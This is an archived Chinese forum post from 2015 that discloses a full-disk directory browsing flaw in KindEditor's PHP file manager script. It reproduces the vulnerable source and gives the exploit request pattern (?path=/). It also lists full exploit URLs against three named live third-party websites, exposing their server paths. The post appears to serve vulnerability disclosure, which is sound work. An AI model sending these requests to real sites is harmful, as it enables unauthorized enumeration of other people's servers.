Kindeditor特定情况可能会导致全盘浏览的漏洞

随意吧 發表於 2015-8-13 17:29:09

Kindeditor特定情况可能会导致全盘浏览的漏洞

因为例子很少，开始想了下不是他们的漏洞，后面想了下，后面没有检查好用户的正常配置内容导致，还是提下吧。 下载地址： 貌似是最新版本的。 测试语言：PHP 测试漏洞文件：/kindeditor/php/file_manager_json.php 默认配置(第16行)： $root_path = $php_path . '../attached/'; 当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时，如网上的一个例子： $root_path = $php_path . '../../../upload/'; 这个CMS下面的目录根本就没得这个目录，所以就造成了漏洞。 怎么造成了漏洞的呢？我们分析下。 
<div class="codeText">
<div class="codeHead">PHP Code复制内容到剪贴板</div>
<div id="code_1517">
<ol class="dp-c">
<li class="alt"><?php   </li>
<li>/**  </li>
<li class="alt"> * KindEditor PHP  </li>
<li> *  </li>
<li class="alt"> * 本PHP程序是演示程序，建议不要直接在实际项目中使用。  </li>
<li> * 如果您确定直接使用本程序，使用之前请仔细确认相关安全设置。  </li>
<li class="alt"> *  </li>
<li> */  </li>
<li class="alt">  </li>
<li>require_once 'JSON.php';   </li>
<li class="alt">  </li>
<li>$php_path = dirname(__FILE__) . '/';   </li>
<li class="alt">$php_url = dirname($_SERVER['PHP_SELF']) . '/';   </li>
<li>  </li>
<li class="alt">//根目录路径，可以指定绝对路径，比如 /var/www/attached/   </li>
<li>$root_path = $php_path . '../../../upload/';   </li>
<li class="alt">//根目录URL，可以指定绝对路径，比如 http://www.yoursite.com/attached/   </li>
<li>$root_url = $php_url . '../../../upload/';   </li>
<li class="alt">//图片扩展名   </li>
<li>$ext_arr = array('gif', 'jpg', 'jpeg', 'png', 'bmp');   </li>
<li class="alt">  </li>
<li>//目录名   </li>
<li class="alt">$dir_name = emptyempty($_GET['dir']) ? '' : trim($_GET['dir']);   </li>
<li>if (!in_array($dir_name, array('', 'image', 'flash', 'media', 'file'))) {   </li>
<li class="alt">echo "Invalid Directory name.";   </li>
<li>exit;   </li>
<li class="alt">}   </li>
<li>if ($dir_name !== '') {   </li>
<li class="alt">$root_path .= $dir_name . "/";   </li>
<li>$root_url .= $dir_name . "/";   </li>
<li class="alt">if (!file_exists($root_path)) {   </li>
<li>mkdir($root_path);   </li>
<li class="alt">}   </li>
<li>}   </li>
<li class="alt">  </li>
<li>//根据path参数，设置各路径和URL   </li>
<li class="alt">if (emptyempty($_GET['path'])) {   </li>
<li>$current_path = realpath($root_path) . '/';   </li>
<li class="alt">$current_url = $root_url;   </li>
<li>$current_dir_path = '';   </li>
<li class="alt">$moveup_dir_path = '';   </li>
<li>} else {   </li>
<li class="alt">$current_path = realpath($root_path) . '/' . $_GET['path'];   </li>
<li>$current_url = $root_url . $_GET['path'];   </li>
<li class="alt">$current_dir_path = $_GET['path'];   </li>
<li>$moveup_dir_path = preg_replace('/(.*?)[^\/]+\/$/', '$1', $current_dir_path);   </li>
<li class="alt">}   </li>
<li>//echo realpath($root_path);   </li>
<li class="alt">//排序形式，name or size or type   </li>
<li>$order = emptyempty($_GET['order']) ? 'name' : strtolower($_GET['order']);   </li>
<li class="alt">  </li>
<li>//不允许使用..移动到上一级目录   </li>
<li class="alt">if (preg_match('/\.\./', $current_path)) {   </li>
<li>echo 'Access is not allowed.';   </li>
<li class="alt">exit;   </li>
<li>}   </li>
<li class="alt">//最后一个字符不是/   </li>
<li>if (!preg_match('/\/$/', $current_path)) {   </li>
<li class="alt">echo 'Parameter is not valid.';   </li>
<li>exit;   </li>
<li class="alt">}   </li>
<li>//目录不存在或不是目录   </li>
<li class="alt">if (!file_exists($current_path) || !is_dir($current_path)) {   </li>
<li>echo 'Directory does not exist.';   </li>
<li class="alt">exit;   </li>
<li>}   </li>
<li class="alt">  </li>
<li>//遍历目录取得文件信息   </li>
<li class="alt">$file_list = array();   </li>
<li>if ($handle = opendir($current_path)) {   </li>
<li class="alt">$i = 0;   </li>
<li>while (false !== ($filename = readdir($handle))) {   </li>
<li class="alt">if ($filename{0} == '.') continue;   </li>
<li>$file = $current_path . $filename;   </li>
<li class="alt">if (is_dir($file)) {   </li>
<li>$file_list[$i]['is_dir'] = true; //是否文件夹   </li>
<li class="alt">$file_list[$i]['has_file'] = (count(scandir($file)) > 2); //文件夹是否包含文件   </li>
<li>$file_list[$i]['filesize'] = 0; //文件大小   </li>
<li class="alt">$file_list[$i]['is_photo'] = false; //是否图片   </li>
<li>$file_list[$i]['filetype'] = ''; //文件类别，用扩展名判断   </li>
<li class="alt">} else {   </li>
<li>$file_list[$i]['is_dir'] = false;   </li>
<li class="alt">$file_list[$i]['has_file'] = false;   </li>
<li>$file_list[$i]['filesize'] = filesize($file);   </li>
<li class="alt">$file_list[$i]['dir_path'] = '';   </li>
<li>$file_ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));   </li>
<li class="alt">$file_list[$i]['is_photo'] = in_array($file_ext, $ext_arr);   </li>
<li>$file_list[$i]['filetype'] = $file_ext;   </li>
<li class="alt">}   </li>
<li>$file_list[$i]['filename'] = $filename; //文件名，包含扩展名   </li>
<li class="alt">$file_list[$i]['datetime'] = date('Y-m-d H:i:s', filemtime($file)); //文件最后修改时间   </li>
<li>$i++;   </li>
<li class="alt">}   </li>
<li>closedir($handle);   </li>
<li class="alt">}   </li>
<li>  </li>
<li class="alt">//排序   </li>
<li>function cmp_func($a, $b) {   </li>
<li class="alt">global $order;   </li>
<li>if ($a['is_dir'] && !$b['is_dir']) {   </li>
<li class="alt">return -1;   </li>
<li>} else if (!$a['is_dir'] && $b['is_dir']) {   </li>
<li class="alt">return 1;   </li>
<li>} else {   </li>
<li class="alt">if ($order == 'size') {   </li>
<li>if ($a['filesize'] > $b['filesize']) {   </li>
<li class="alt">return 1;   </li>
<li>} else if ($a['filesize'] < $b['filesize']) {   </li>
<li class="alt">return -1;   </li>
<li>} else {   </li>
<li class="alt">return 0;   </li>
<li>}   </li>
<li class="alt">} else if ($order == 'type') {   </li>
<li>return strcmp($a['filetype'], $b['filetype']);   </li>
<li class="alt">} else {   </li>
<li>return strcmp($a['filename'], $b['filename']);   </li>
<li class="alt">}   </li>
<li>}   </li>
<li class="alt">}   </li>
<li>usort($file_list, 'cmp_func');   </li>
<li class="alt">  </li>
<li>$result = array();   </li>
<li class="alt">//相对于根目录的上一级目录   </li>
<li>$result['moveup_dir_path'] = $moveup_dir_path;   </li>
<li class="alt">//相对于根目录的当前目录   </li>
<li>$result['current_dir_path'] = $current_dir_path;   </li>
<li class="alt">//当前目录的URL   </li>
<li>$result['current_url'] = $current_url;   </li>
<li class="alt">//文件数   </li>
<li>$result['total_count'] = count($file_list);   </li>
<li class="alt">//文件列表数组   </li>
<li>$result['file_list'] = $file_list;   </li>
<li class="alt">  </li>
<li>//输出JSON字符串   </li>
<li class="alt">header('Content-type: application/json; charset=UTF-8');   </li>
<li>$json = new Services_JSON();   </li>
<li class="alt">echo $json->encode($result);  </li>
</ol>
</div>
</div>
 第三十八行： $current_path = realpath($root_path) . '/'; 当$root_path被realpath以后，不存在的目录会返回空，然后连接后面的'/' $current_path所以默认就等于'/' 当提交了$_GET['path']以后，而且$_GET['path']要以'/'为结尾(有验证)，所以，我们就可以构造浏览全盘目录了。 kingedit/php/file_manager_json.php?path=/ (浏览盘符的根目录) 接着上面给出验证的（互联网找到几个）： 先给本地的(attached文件夹被我删了)： <img alt="" src="https://img.jbzj.com/file_images/article/201508/2015813173543032.gif" /> <img alt="" src="https://img.jbzj.com/file_images/article/201508/2015813173543033.gif" /> 互联网找到的： http://demo.douco.com/admin/include/kindeditor/php/file_manager_json.php?path=home/demodoucokdce4mmohd8okuoc1o/wwwroot/&dir=image <img alt="" src="https://img.jbzj.com/file_images/article/201508/2015813173543034.gif" /> http://route53.com.tw/static/jscripts/kindeditor/php/file_manager_json.php?path=home/onepage/public_html/ <img alt="" src="https://img.jbzj.com/file_images/article/201508/2015813173543035.gif" /> http://www.bndvalve.com/Public/kindeditor/php/file_manager_json.php?path=wwwroot/bonade/ <img alt="" src="https://img.jbzj.com/file_images/article/201508/2015813173543036.gif" />
修复方案：再验证下绝对路径？

頁: [1]

琼殿技术论坛's Archiver

Kindeditor特定情况可能会导致全盘浏览的漏洞